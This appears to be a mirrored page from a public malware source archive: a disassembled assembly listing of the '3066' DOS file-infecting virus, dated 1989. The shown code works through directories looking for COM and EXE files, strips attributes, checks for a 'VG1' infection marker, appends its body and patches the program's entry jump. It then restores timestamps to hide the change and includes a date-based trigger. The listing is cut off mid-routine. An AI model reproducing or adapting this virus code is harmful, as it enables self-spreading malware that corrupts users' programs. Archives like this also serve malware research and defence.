mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1492 lines
40 KiB
NASM
1492 lines
40 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ 3066 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 19-Mar-89 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: QRS ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
.286c
|
|
|
|
data_1e equ 24h ; (0000:0024=45h)
|
|
data_2e equ 26h ; (0000:0026=3D1h)
|
|
data_3e equ 70h ; (0000:0070=0FF53h)
|
|
data_4e equ 72h ; (0000:0072=0F000h)
|
|
data_5e equ 80h ; (0000:0080=1094h)
|
|
data_6e equ 82h ; (0000:0082=123h)
|
|
data_7e equ 84h ; (0000:0084=109Eh)
|
|
data_8e equ 86h ; (0000:0086=123h)
|
|
data_9e equ 90h ; (0000:0090=156h)
|
|
data_10e equ 92h ; (0000:0092=44Bh)
|
|
data_11e equ 9Ch ; (0000:009C=0BCh)
|
|
data_13e equ 0B3h ; (0000:00B3=1)
|
|
data_14e equ 0C8h ; (0000:00C8=0DAh)
|
|
data_15e equ 0D1h ; (0000:00D1=10h)
|
|
data_16e equ 0DFh ; (0000:00DF=1)
|
|
data_17e equ 0E3h ; (0000:00E3=1)
|
|
data_18e equ 0EAh ; (0000:00EA=123h)
|
|
data_19e equ 0ECh ; (0000:00EC=10DAh)
|
|
data_20e equ 0EEh ; (0000:00EE=23h)
|
|
data_21e equ 0F1h ; (0000:00F1=10h)
|
|
data_22e equ 151h ; (0000:0151=0EAh)
|
|
data_23e equ 153h ; (0000:0153=0A6F0h)
|
|
data_24e equ 155h ; (0000:0155=0EAh)
|
|
data_25e equ 449h ; (0000:0449=3)
|
|
data_26e equ 972h ; (0000:0972=74h)
|
|
data_27e equ 80h ; (00AE:0080=0FFh)
|
|
data_28e equ 0A0h ; (5E5F:00A0=0FFh)
|
|
data_29e equ 0F00h ; (5E5F:0F00=0FFh)
|
|
data_30e equ 0FA0h ; (5E5F:0FA0=0FFh)
|
|
data_31e equ 0FF60h ; (5E5F:FF60=0FFFFh)
|
|
data_32e equ 0E0h ; (683D:00E0=0FFFFh)
|
|
data_33e equ 0 ; (6FB8:0000=0)
|
|
data_34e equ 4 ; (6FB8:0004=0)
|
|
data_35e equ 5 ; (6FB8:0005=0)
|
|
data_36e equ 87h ; (6FB8:0087=0)
|
|
data_37e equ 0A0h ; (6FB8:00A0=0)
|
|
data_38e equ 0DFh ; (6FB8:00DF=0)
|
|
data_39e equ 0E0h ; (6FB8:00E0=0)
|
|
data_40e equ 0E2h ; (6FB8:00E2=0)
|
|
data_41e equ 0E3h ; (6FB8:00E3=0)
|
|
data_42e equ 0E4h ; (6FB8:00E4=0)
|
|
data_43e equ 0E6h ; (6FB8:00E6=0)
|
|
data_44e equ 0E8h ; (6FB8:00E8=0)
|
|
data_45e equ 0EAh ; (6FB8:00EA=0)
|
|
data_46e equ 0ECh ; (6FB8:00EC=0)
|
|
data_47e equ 0EEh ; (6FB8:00EE=0)
|
|
data_48e equ 0EFh ; (6FB8:00EF=0)
|
|
data_49e equ 0F1h ; (6FB8:00F1=0)
|
|
data_50e equ 0F3h ; (6FB8:00F3=0)
|
|
data_51e equ 0F5h ; (6FB8:00F5=0)
|
|
data_93e equ 100h ; (7188:0100=0)
|
|
data_94e equ 0E2h ; (969B:00E2=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
3066 proc far
|
|
|
|
start:
|
|
jmp loc_5 ; (0243)
|
|
db 01h,0B4h
|
|
data_54 dw 0CD09h ; Data table (indexed access)
|
|
; xref 6FB8:0ADC, 0B5E, 0BA4, 0C67
|
|
; 0C7B, 0CCB, 0CD4
|
|
db 21h,0B8h, 00h, 4Ch,0CDh, 21h
|
|
db 'This program only exists to beco'
|
|
|
|
|
|
|
|
|
|
|
|
db 'me infected - COM version', 0Dh, 0Ah
|
|
|
|
|
|
|
|
|
|
db '$'
|
|
db 8Dh, 16h, 0Dh,0FFh,0FFh, 00h
|
|
db 01h, 8Ch
|
|
data_56 dw 4D10h ; Data table (indexed access)
|
|
; xref 6FB8:0270, 02DC, 046C
|
|
data_57 dw 6FB8h ; Data table (indexed access)
|
|
; xref 6FB8:0276, 02E0, 0470
|
|
data_58 db 0 ; Data table (indexed access)
|
|
; xref 6FB8:0387, 03C8, 0608, 06A4
|
|
db 8Dh, 16h, 0Dh,0FFh,0FFh, 09h
|
|
db 0CDh, 21h,0B8h, 00h, 4Ch,0CDh
|
|
db '!This program on', 0Dh, 0Ah, '$'
|
|
|
|
|
|
|
|
db 27 dup (0)
|
|
db 50h, 4Ch, 49h, 43h
|
|
db 60 dup (0)
|
|
db 01h, 3Fh
|
|
db 7 dup (3Fh)
|
|
db 43h, 4Fh, 4Dh, 20h, 00h
|
|
db 7 dup (0)
|
|
db 20h, 96h, 66h,0D7h, 12h, 4Ch
|
|
db 00h, 00h, 00h
|
|
db 'TSTJ3066.COM'
|
|
|
|
db 00h, 00h, 01h, 3Fh
|
|
db 10 dup (3Fh)
|
|
db 10h, 05h
|
|
db 7 dup (0)
|
|
db 20h,0E9h, 11h,0B5h, 12h,0F6h
|
|
db 48h, 02h, 00h
|
|
db 'CAT-TWO.ARC'
|
|
|
|
db 00h, 00h, 00h, 00h,0BCh, 0Eh
|
|
db 00h, 00h, 20h, 00h, 72h, 49h
|
|
db 73h, 12h,0EBh, 04h,0DDh, 0Ch
|
|
db 00h, 00h, 00h, 51h, 59h, 8Bh
|
|
db 0Fh, 20h, 00h
|
|
db 56h, 47h, 31h
|
|
loc_5: ; xref 6FB8:0100
|
|
jmp short loc_6 ; (0247)
|
|
db 0F5h, 0Bh
|
|
loc_6: ; xref 6FB8:0243
|
|
call sub_17 ; (08BB)
|
|
call sub_15 ; (0875)
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov ds:data_22e[si],si ; (0000:0151=0EAh)
|
|
add word ptr ds:data_22e[si],884h ; (0000:0151=0EAh)
|
|
mov ds:data_23e[si],cs ; (0000:0153=0A6F0h)
|
|
mov ds:data_17e[si],al ; (0000:00E3=1)
|
|
call sub_10 ; (076E)
|
|
mov dl,ds:data_94e[di] ; (969B:00E2=0)
|
|
mov ax,ds
|
|
push cs
|
|
pop ds
|
|
jnz loc_8 ; Jump if not zero
|
|
mov data_56[si],984h ; (6FB8:0151=4D10h)
|
|
mov data_57[si],ax ; (6FB8:0153=6FB8h)
|
|
cmp dl,0FFh
|
|
je loc_8 ; Jump if equal
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
loc_8: ; xref 6FB8:026E, 027D
|
|
mov byte ptr ds:[872h][si],80h ; (6FB8:0872=0FFh)
|
|
mov word ptr ds:data_48e[si],0 ; (6FB8:00EF=0)
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dx=mon/day
|
|
cmp cx,7C4h
|
|
jge loc_9 ; Jump if > or =
|
|
jmp short loc_12 ; (02C2)
|
|
db 0BDh, 09h,0BCh, 0Eh, 00h
|
|
loc_9: ; xref 6FB8:0296
|
|
jg loc_10 ; Jump if >
|
|
cmp dh,0Ch
|
|
jl loc_12 ; Jump if <
|
|
cmp dl,5
|
|
jl loc_12 ; Jump if <
|
|
cmp dl,1Ch
|
|
jl loc_11 ; Jump if <
|
|
loc_10: ; xref 6FB8:029F
|
|
mov word ptr ds:[877h][si],0FFDCh ; (6FB8:0877=8EC0h)
|
|
mov byte ptr ds:[872h][si],88h ; (6FB8:0872=0FFh)
|
|
loc_11: ; xref 6FB8:02AE
|
|
cmp byte ptr [si+4],0F8h
|
|
nop ;*ASM fixup - displacement
|
|
jae loc_13 ; Jump if above or =
|
|
loc_12: ; xref 6FB8:0298, 02A4, 02A9, 0356
|
|
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jmp loc_30 ; (0460)
|
|
cmp byte ptr [si+4],0F8h
|
|
nop ;*ASM fixup - displacement
|
|
jae loc_13 ; Jump if above or =
|
|
or byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
|
|
loc_13: ; xref 6FB8:02C0, 02D0
|
|
mov byte ptr ds:data_38e[si],0 ; (6FB8:00DF=0)
|
|
mov dx,data_56[si] ; (6FB8:0151=4D10h)
|
|
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
|
|
mov ax,4300h
|
|
call sub_1 ; (0436)
|
|
jc loc_14 ; Jump if carry Set
|
|
mov cs:data_51e[si],cx ; (6FB8:00F5=0)
|
|
and cl,0FEh
|
|
mov ax,4301h
|
|
call sub_1 ; (0436)
|
|
jc loc_14 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jc loc_14 ; Jump if carry Set
|
|
push cs
|
|
pop ds
|
|
mov ds:data_48e[si],ax ; (6FB8:00EF=0)
|
|
mov bx,ax
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ds:data_49e[si],cx ; (6FB8:00F1=0)
|
|
mov ds:data_50e[si],dx ; (6FB8:00F3=0)
|
|
dec byte ptr [si+4]
|
|
nop ;*ASM fixup - displacement
|
|
mov dx,word ptr ds:[880h][si] ; (6FB8:0880=687h)
|
|
mov cx,word ptr ds:[882h][si] ; (6FB8:0882=90h)
|
|
add dx,4
|
|
nop ;*ASM fixup - sign extn byte
|
|
adc cx,0
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
loc_14: ; xref 6FB8:02EA, 02FA, 0301
|
|
push cs
|
|
pop ds
|
|
test byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
|
|
jz loc_15 ; Jump if zero
|
|
call sub_3 ; (051F)
|
|
jmp loc_30 ; (0460)
|
|
loc_15: ; xref 6FB8:0337
|
|
xor dl,dl ; Zero register
|
|
mov ah,47h ; 'G'
|
|
push si
|
|
add si,46h
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
pop si
|
|
cmp byte ptr ds:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jne loc_16 ; Jump if not equal
|
|
call sub_2 ; (0444)
|
|
jnc loc_17 ; Jump if carry=0
|
|
loc_16: ; xref 6FB8:034F
|
|
jmp loc_12 ; (02C2)
|
|
loc_17: ; xref 6FB8:0354, 0433
|
|
mov dx,si
|
|
add dx,data_36e ; (6FB8:0087=0)
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
mov word ptr [si+5],2E2Ah
|
|
mov word ptr [si+7],4F43h
|
|
mov word ptr [si+9],4Dh
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_18: ; xref 6FB8:03A7
|
|
mov cx,20h
|
|
call sub_1 ; (0436)
|
|
jc loc_21 ; Jump if carry Set
|
|
mov dx,si
|
|
add dx,0A5h
|
|
mov data_58[si],0 ; (6FB8:0155=0)
|
|
call sub_4 ; (0535)
|
|
jc loc_20 ; Jump if carry Set
|
|
call sub_3 ; (051F)
|
|
loc_19: ; xref 6FB8:039C
|
|
jmp loc_29 ; (0454)
|
|
loc_20: ; xref 6FB8:038F
|
|
cmp byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
|
|
jne loc_19 ; Jump if not equal
|
|
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
|
|
jne loc_25 ; Jump if not equal
|
|
mov ah,4Fh ; 'O'
|
|
jmp short loc_18 ; (0379)
|
|
loc_21: ; xref 6FB8:037F
|
|
mov word ptr [si+7],5845h
|
|
mov word ptr [si+9],45h
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_22: ; xref 6FB8:03E9
|
|
mov cx,20h
|
|
call sub_1 ; (0436)
|
|
jc loc_25 ; Jump if carry Set
|
|
mov dx,si
|
|
add dx,0A5h
|
|
mov data_58[si],0 ; (6FB8:0155=0)
|
|
call sub_4 ; (0535)
|
|
jc loc_24 ; Jump if carry Set
|
|
call sub_3 ; (051F)
|
|
loc_23: ; xref 6FB8:03DE
|
|
jmp short loc_29 ; (0454)
|
|
db 90h
|
|
loc_24: ; xref 6FB8:03D0
|
|
cmp byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jne loc_23 ; Jump if not equal
|
|
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
|
|
jne loc_25 ; Jump if not equal
|
|
mov ah,4Fh ; 'O'
|
|
jmp short loc_22 ; (03BA)
|
|
loc_25: ; xref 6FB8:03A3, 03C0, 03E5
|
|
call sub_2 ; (0444)
|
|
mov dx,si
|
|
add dx,data_13e ; (0000:00B3=1)
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
loc_26: ; xref 6FB8:0424
|
|
mov ah,4Fh ; 'O'
|
|
mov cx,10h
|
|
cmp byte ptr ds:data_16e[si],0 ; (0000:00DF=1)
|
|
jne loc_27 ; Jump if not equal
|
|
mov byte ptr ds:data_16e[si],1 ; (0000:00DF=1)
|
|
mov word ptr [si+5],2E2Ah
|
|
mov word ptr [si+7],2Ah
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_27: ; xref 6FB8:0402
|
|
call sub_1 ; (0436)
|
|
jc loc_29 ; Jump if carry Set
|
|
test byte ptr ds:data_14e[si],10h ; (0000:00C8=0DAh)
|
|
jz loc_26 ; Jump if zero
|
|
mov dx,si
|
|
add dx,data_15e ; (0000:00D1=10h)
|
|
mov ah,3Bh ; ';'
|
|
call sub_1 ; (0436)
|
|
jc loc_29 ; Jump if carry Set
|
|
jmp loc_17 ; (0359)
|
|
|
|
3066 endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450
|
|
; 0571, 0582, 058A
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
jc loc_ret_28 ; Jump if carry Set
|
|
test byte ptr cs:data_47e[si],0FFh ; (6FB8:00EE=0)
|
|
jz loc_ret_28 ; Jump if zero
|
|
stc ; Set carry flag
|
|
|
|
loc_ret_28: ; xref 6FB8:0438, 0440
|
|
retn
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0351, 03EB, 0454
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
mov word ptr [si+5],5Ch
|
|
mov dx,si
|
|
add dx,5
|
|
mov ah,3Bh ; ';'
|
|
call sub_1 ; (0436)
|
|
retn
|
|
sub_2 endp
|
|
|
|
loc_29: ; xref 6FB8:0394, 03D5, 041D, 0431
|
|
call sub_2 ; (0444)
|
|
mov dx,si
|
|
add dx,46h
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
loc_30: ; xref 6FB8:02C8, 033C
|
|
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
|
|
or bx,bx ; Zero ?
|
|
jz loc_32 ; Jump if zero
|
|
mov cx,ds:data_51e[si] ; (6FB8:00F5=0)
|
|
mov dx,data_56[si] ; (6FB8:0151=4D10h)
|
|
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
|
|
cmp cx,20h
|
|
je loc_31 ; Jump if equal
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
loc_31: ; xref 6FB8:0477
|
|
push cs
|
|
pop ds
|
|
mov cx,ds:data_49e[si] ; (6FB8:00F1=0)
|
|
mov dx,ds:data_50e[si] ; (6FB8:00F3=0)
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
loc_32: ; xref 6FB8:0466
|
|
mov dl,ds:data_41e[si] ; (6FB8:00E3=0)
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
call sub_16 ; (089A)
|
|
pop ax
|
|
mov ds:data_39e[si],ax ; (6FB8:00E0=0)
|
|
cmp byte ptr [si+3],0FFh
|
|
je loc_33 ; Jump if equal
|
|
add ax,10h
|
|
add [si+2],ax
|
|
pop ax
|
|
pop ds
|
|
;* jmp dword ptr cs:[si] ;*1 entry
|
|
db 0FFh, 2Ch
|
|
loc_33: ; xref 6FB8:04A5
|
|
call sub_10 ; (076E)
|
|
push cs
|
|
pop ds
|
|
mov ax,[si]
|
|
mov word ptr ds:[100h],ax ; (6FB8:0100=40E9h)
|
|
mov al,[si+2]
|
|
mov byte ptr ds:[102h],al ; (6FB8:0102=1)
|
|
jz loc_34 ; Jump if zero
|
|
mov bx,ds
|
|
add bx,1D0h
|
|
mov es,bx
|
|
mov di,si
|
|
mov dx,si
|
|
mov cx,0BFAh
|
|
call sub_20 ; (0D32)
|
|
mov cx,dx
|
|
mov si,dx
|
|
dec si
|
|
mov di,si
|
|
std ; Set direction flag
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
push ds
|
|
pop es
|
|
mov di,data_93e ; (7188:0100=0)
|
|
mov ds,bx
|
|
mov si,dx
|
|
mov cx,0BFAh
|
|
call sub_20 ; (0D32)
|
|
mov si,100h
|
|
push cs
|
|
pop ds
|
|
call sub_13 ; (07CD)
|
|
mov dx,1D0h
|
|
loc_34: ; xref 6FB8:04C2
|
|
mov di,cs
|
|
add di,dx
|
|
mov word ptr [si+5],100h
|
|
mov [si+7],di
|
|
pop ax
|
|
pop ds
|
|
mov ds,di
|
|
mov es,di
|
|
mov ss,di
|
|
xor bx,bx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
xor bp,bp ; Zero register
|
|
;* jmp dword ptr cs:[si+5] ;*1 entry
|
|
db 0FFh, 6Ch, 05h
|
|
loc_35: ; xref 6FB8:0574, 0585, 058D
|
|
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
retn
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0339, 0391, 03D2
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
|
|
or bx,bx ; Zero ?
|
|
jz loc_ret_36 ; Jump if zero
|
|
mov dx,si
|
|
add dx,data_34e ; (6FB8:0004=0)
|
|
nop ;*ASM fixup - sign extn byte
|
|
mov cx,1
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
|
|
loc_ret_36: ; xref 6FB8:0525
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:038C, 03CD
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
push dx
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
add al,41h ; 'A'
|
|
mov ah,3Ah ; ':'
|
|
mov word ptr ds:[884h][si],ax ; (6FB8:0884=8489h)
|
|
mov byte ptr ds:[886h][si],5Ch ; (6FB8:0886=0EAh) '\'
|
|
push si
|
|
add si,offset ds:[887h] ; (6FB8:0887=0)
|
|
mov ah,47h ; 'G'
|
|
mov di,si
|
|
xor dl,dl ; Zero register
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
pop si
|
|
dec di
|
|
loc_37: ; xref 6FB8:055B
|
|
inc di
|
|
mov al,[di]
|
|
or al,al ; Zero ?
|
|
jnz loc_37 ; Jump if not zero
|
|
pop bx
|
|
mov byte ptr [di],5Ch ; '\'
|
|
inc di
|
|
mov dx,bx
|
|
loc_38: ; xref 6FB8:056C
|
|
mov al,[bx]
|
|
mov [di],al
|
|
inc bx
|
|
inc di
|
|
or al,al ; Zero ?
|
|
jnz loc_38 ; Jump if not zero
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
;
|
|
; Called from: 6FB8:097E
|
|
|
|
sub_5:
|
|
mov ax,4300h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov cs:data_42e[si],cx ; (6FB8:00E4=0)
|
|
and cx,0FEh
|
|
mov ax,4301h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov bx,ax
|
|
push ds
|
|
push dx
|
|
call sub_6 ; (05BD)
|
|
pop dx
|
|
pop ds
|
|
pushf ; Push flags
|
|
mov cx,cs:data_42e[si] ; (6FB8:00E4=0)
|
|
cmp cx,20h
|
|
je loc_39 ; Jump if equal
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
loc_39: ; xref 6FB8:05A1
|
|
mov cx,cs:data_43e[si] ; (6FB8:00E6=0)
|
|
mov dx,cs:data_44e[si] ; (6FB8:00E8=0)
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
popf ; Pop flags
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0593
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
push cs
|
|
pop ds
|
|
mov ds:data_43e[si],cx ; (6FB8:00E6=0)
|
|
mov ds:data_44e[si],dx ; (6FB8:00E8=0)
|
|
mov dx,si
|
|
add dx,0Dh
|
|
mov di,dx
|
|
mov ah,3Fh ; '?'
|
|
mov cx,1Ch
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
cmp word ptr [di],5A4Dh
|
|
je loc_42 ; Jump if equal
|
|
call sub_9 ; (0764)
|
|
add ax,0CF5h
|
|
jc loc_ret_40 ; Jump if carry Set
|
|
cmp byte ptr [di],0E9h
|
|
jne loc_41 ; Jump if not equal
|
|
mov dx,[di+1]
|
|
xor cx,cx ; Zero register
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,di
|
|
add dx,1Ch
|
|
mov ah,3Fh ; '?'
|
|
mov cx,3
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
call sub_7 ; (06AB)
|
|
jnc loc_41 ; Jump if carry=0
|
|
mov cs:data_58[si],1 ; (6FB8:0155=0)
|
|
|
|
loc_ret_40: ; xref 6FB8:05E6
|
|
retn
|
|
loc_41: ; xref 6FB8:05EB, 0606
|
|
call sub_9 ; (0764)
|
|
mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h)
|
|
mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h)
|
|
push ax
|
|
mov word ptr [di+3],0FFFFh
|
|
mov cx,5
|
|
mov ah,40h ; '@'
|
|
mov dx,di
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov dx,si
|
|
add dx,5
|
|
mov cx,0BF5h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov byte ptr [di],0E9h
|
|
pop ax
|
|
add ax,0F7h
|
|
mov [di+1],ax
|
|
mov dx,di
|
|
mov cx,3
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_42: ; xref 6FB8:05DE
|
|
cmp word ptr [di+0Ch],0FFFFh
|
|
jne loc_43 ; Jump if not equal
|
|
push si
|
|
mov si,[di+14h]
|
|
mov cx,[di+16h]
|
|
mov ax,cx
|
|
mov cl,ch
|
|
xor ch,ch ; Zero register
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
add si,ax
|
|
adc cx,0
|
|
sub si,3
|
|
sbb cx,0
|
|
mov ax,[di+8]
|
|
call sub_8 ; (0751)
|
|
add si,ax
|
|
adc cx,dx
|
|
mov dx,si
|
|
pop si
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,di
|
|
add dx,1Ch
|
|
mov ah,3Fh ; '?'
|
|
mov cx,3
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
call sub_7 ; (06AB)
|
|
jnc loc_46 ; Jump if carry=0
|
|
mov cs:data_58[si],1 ; (6FB8:0155=0)
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
;
|
|
; Called from: 6FB8:0603, 069F
|
|
|
|
sub_7:
|
|
cmp word ptr [di+1Ch],4756h
|
|
jne loc_45 ; Jump if not equal
|
|
cmp byte ptr [di+1Eh],31h ; '1'
|
|
jne loc_45 ; Jump if not equal
|
|
loc_43: ; xref 6FB8:0657
|
|
stc ; Set carry flag
|
|
|
|
loc_ret_44: ; xref 6FB8:06E0
|
|
retn
|
|
loc_45: ; xref 6FB8:06B0, 06B6
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_46: ; xref 6FB8:06A2
|
|
call sub_9 ; (0764)
|
|
